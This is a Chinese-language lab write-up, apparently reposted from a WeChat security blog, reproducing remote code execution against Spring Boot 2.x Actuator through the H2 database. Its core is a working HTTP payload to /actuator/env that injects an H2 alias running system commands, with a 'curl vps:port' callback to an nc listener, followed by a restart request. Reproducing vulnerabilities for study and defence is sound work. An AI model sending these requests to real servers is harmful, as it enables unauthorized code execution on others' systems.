一、漏洞介绍
Spring Boot框架是最流行的基于Java的微服务框架之一,可以帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。
二、影响版本
Spring Boot 2.x版本
三、漏洞复现
0x01 环境搭建
(1):拉取镜像
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
(2):启动环境
cd spring-boot-actuator-h2-rce
docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
(3):访问环境
环境搭建成功。
0x02 漏洞复现
(1):访问actuator目录
(2):配置spring.datasource.hikari.connection-test-query的值
-
访问actuator/env路径
-
另一台VPS进行监听
nc -lvp 1234
-
添加如下payload
注意:vps指的是监听的主机IP,port指的是监听的端口
POST /actuator/env HTTP/1.1
Host: xxx.xxx.xxx.xxx:8080
Content-Type: application/json
Content-Length: 357
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl vps:port');"}
-
再次访问actuator/env路径
发现该值已经被修改
-
重启使配置生效
POST /actuator/env HTTP/1.1
Host: xxx.xxx.xxx.xxx:8080
Content-Type: application/json
Content-Length: 2
{}
-
成功获取数据包
命令。目前还没解决。
0x03 使用脚本检测
下载链接:https://github.com/rabbitmask/SB-Actuator
这个脚本不能直接getshell,但是可以检测出可能存在RCE。
四、修复建议
0x01 升级到安全版本
原文始发于微信公众号(想走安全的小白):Spring Boot Actuator H2 远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论